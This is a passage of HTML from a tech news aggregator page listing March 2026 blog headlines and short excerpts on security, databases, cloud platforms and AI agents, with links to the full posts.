        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-modern-linux-identity-management-from-local-auth-to-the-cloud-with-ubuntu"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The modern enterprise operates in a hybrid world where on-premises infrastructure coexists with cloud services, and security threats evolve daily. IT administrators are tasked with a difficult balanci</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/modern-linux-identity-management-ubuntu"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-security-identity-and-access-control" class="group relative scroll-mt-24">
        <a href="#h3-ai-security-identity-and-access-control" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI security: Identity and access control
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-security-identity-and-access-control"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In our first 3 articles, we framed AI security as protecting the system, not just the model, across confidentiality, integrity, and availability, and we showed why the traditional secure development l</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/ai-security-identity-and-access-control"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-4-use-cases-for-ai-in-cyber-security" class="group relative scroll-mt-24">
        <a href="#h3-4-use-cases-for-ai-in-cyber-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 4 use cases for AI in cyber security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-use-cases-for-ai-in-cyber-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In product security, AI represents a new and critical frontier. As artificial intelligence becomes mainstream in both defense tools and exploitation methods, security professionals must master these t</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/4-use-cases-ai-cyber-security"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-fluent-package-v603-has-been-released" class="group relative scroll-mt-24">
        <a href="#h3-fluent-package-v603-has-been-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 fluent-package v6.0.3 has been released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fluent-package-v603-has-been-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hi users! We have released fluent-package v6.0.3 on 2026-03-27. Fluent Package is a stable distribution package of Fluentd. (successor of td-agent) This is a maintenance release of v6.0.x LTS series. </p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Fluentd Blog</strong></p>
<p><a href="https://www.fluentd.org/blog/fluent-package-v6.0.3-has-been-released"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-open-source-summit-north-america-2026-schedule-showcases-next-era-of-ai-infrastructure-security-and-open-ecosystems" class="group relative scroll-mt-24">
        <a href="#h3-open-source-summit-north-america-2026-schedule-showcases-next-era-of-ai-infrastructure-security-and-open-ecosystems" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Open Source Summit North America 2026 Schedule Showcases Next Era of AI Infrastructure, Security and Open Ecosystems
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-open-source-summit-north-america-2026-schedule-showcases-next-era-of-ai-infrastructure-security-and-open-ecosystems"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Leading open source event explores building, securing and sustaining the open technologies powering modern infrastructure Summary SAN FRANCISCO,…</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 KubeCon Updates</strong></p>
<p><a href="https://events.linuxfoundation.org/2026/03/26/open-source-summit-north-america-2026-schedule-showcases-next-era-of-ai-infrastructure-security-and-open-ecosystems/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-year-of-open-source-vulnerability-trends-cves-advisories-and-malware" class="group relative scroll-mt-24">
        <a href="#h3-a-year-of-open-source-vulnerability-trends-cves-advisories-and-malware" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A year of open source vulnerability trends: CVEs, advisories, and malware
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-year-of-open-source-vulnerability-trends-cves-advisories-and-malware"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Reviewed advisories hit a four-year low, malware advisories surged, and CNA publishing grew—here’s what changed and what it means for your triage and response. The post A year of open source vulnerabi</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/security/supply-chain-security/a-year-of-open-source-vulnerability-trends-cves-advisories-and-malware/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-5-principles-of-snyks-developer-experience" class="group relative scroll-mt-24">
        <a href="#h3-the-5-principles-of-snyks-developer-experience" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The 5 Principles of Snyk’s Developer Experience
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-5-principles-of-snyks-developer-experience"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover the 5 principles behind Snyk’s developer experience. Learn how seamless workflows, actionable fixes, and AI-driven security help developers ship secure code faster without disrupting producti</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/5-principles-of-snyk-developer-experience/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-discovery-to-defense-why-ai-red-teaming-is-the-next-step-after-ai-spm" class="group relative scroll-mt-24">
        <a href="#h3-from-discovery-to-defense-why-ai-red-teaming-is-the-next-step-after-ai-spm" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From Discovery to Defense: Why AI Red Teaming Is the Next Step After AI-SPM
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-discovery-to-defense-why-ai-red-teaming-is-the-next-step-after-ai-spm"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI red teaming is the next step after AI-SPM. Learn how Evo Agent Red Teaming simulates real attacks to uncover prompt injection, data exposure, and behavioral vulnerabilities in AI systems.</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/defense-ai-red-teaming/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-amazon-cloudwatch-logs-now-supports-data-protection-opensearch-ppl-and-opensearch-sql-for-the-infrequent-access-ingestion-class" class="group relative scroll-mt-24">
        <a href="#h3-amazon-cloudwatch-logs-now-supports-data-protection-opensearch-ppl-and-opensearch-sql-for-the-infrequent-access-ingestion-class" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon CloudWatch Logs now supports data protection, OpenSearch PPL and OpenSearch SQL for the Infrequent Access ingestion class
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-cloudwatch-logs-now-supports-data-protection-opensearch-ppl-and-opensearch-sql-for-the-infrequent-access-ingestion-class"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon CloudWatch Logs now supports expanded analytics and data protection capabilities for the Infrequent Access (Logs IA) ingestion class, including support for data protection, OpenSearch’s Piped P</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-cloudwatch-infrequent-access-log-class/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-greenmask-029-0217-releases" class="group relative scroll-mt-24">
        <a href="#h3-greenmask-029-0217-releases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Greenmask 0.2.9 - 0.2.17 Releases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-greenmask-029-0217-releases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Database anonymization, synthetic data generation and logical dump Greenmask Overview Greenmask is a powerful open-source utility that is designed for logical database backup dumping, anonymization, s</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/greenmask-029-0217-releases-3259/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tidb-cloud-zero-public-preview-get-a-database-in-1-second-claim-it-in-3-clicks" class="group relative scroll-mt-24">
        <a href="#h3-tidb-cloud-zero-public-preview-get-a-database-in-1-second-claim-it-in-3-clicks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 TiDB Cloud Zero Public Preview: Get a Database in 1 Second, Claim It in 3 Clicks
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tidb-cloud-zero-public-preview-get-a-database-in-1-second-claim-it-in-3-clicks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’re excited to announce that TiDB Cloud Zero is now available in Public Preview. TiDB Cloud Zero is designed for a new generation of AI agents and developers who want instant access to a real produc</p>
<p><strong>📅 Mar 24, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/tidb-cloud-zero-public-preview/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-monster-scale-summit-2026-recap-from-database-elasticity-to-nanosecond-ai" class="group relative scroll-mt-24">
        <a href="#h3-monster-scale-summit-2026-recap-from-database-elasticity-to-nanosecond-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Monster SCALE Summit 2026 Recap: From Database Elasticity to Nanosecond AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-monster-scale-summit-2026-recap-from-database-elasticity-to-nanosecond-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Monster Scale Summit 2026 brought together the brightest minds in distributed systems and engineering leadership to tackle the challenges of building and operating at scale.</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/03/23/monster-scale-summit-2026-recap/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-nvidia-gtc-2026-confirmed-it-the-inference-era-is-here" class="group relative scroll-mt-24">
        <a href="#h3-nvidia-gtc-2026-confirmed-it-the-inference-era-is-here" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 NVIDIA GTC 2026 Confirmed It: The Inference Era Is Here
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-nvidia-gtc-2026-confirmed-it-the-inference-era-is-here"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last week at NVIDIA GTC 2026, one message was clear: AI has moved beyond the training era and into the era of production inference. The conversation was no longer just about building faster chips and </p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/production-inference-era-nvidia-gtc"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-build-production-ready-ai-agents-with-google-managed-mcp-servers" class="group relative scroll-mt-24">
        <a href="#h3-how-to-build-production-ready-ai-agents-with-google-managed-mcp-servers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to build production-ready AI agents with Google-managed MCP servers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-build-production-ready-ai-agents-with-google-managed-mcp-servers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As ​​developers build AI agents with more sophisticated reasoning systems, they require higher-quality fuel–in the form of enterprise data and specialized tools–to drive real business value. To get th</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/how-to-build-ai-agents-with-google-managed-mcp-servers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-easy-as-a-green-run-how-vail-resorts-built-an-ai-assistant-to-automate-personalized-recommendations" class="group relative scroll-mt-24">
        <a href="#h3-easy-as-a-green-run-how-vail-resorts-built-an-ai-assistant-to-automate-personalized-recommendations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Easy as a green run: How Vail Resorts built an AI assistant to automate personalized recommendations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-easy-as-a-green-run-how-vail-resorts-built-an-ai-assistant-to-automate-personalized-recommendations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For skiers and snowboarders, every moment on the mountain is about maximizing the fun — chasing fresh lines, perfecting a new trick, or exploring new terrain. Whether they&#39;re exploring a familiar favo</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/how-vail-resorts-built-an-ai-assistant-to-automate-personalized-recommendations/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
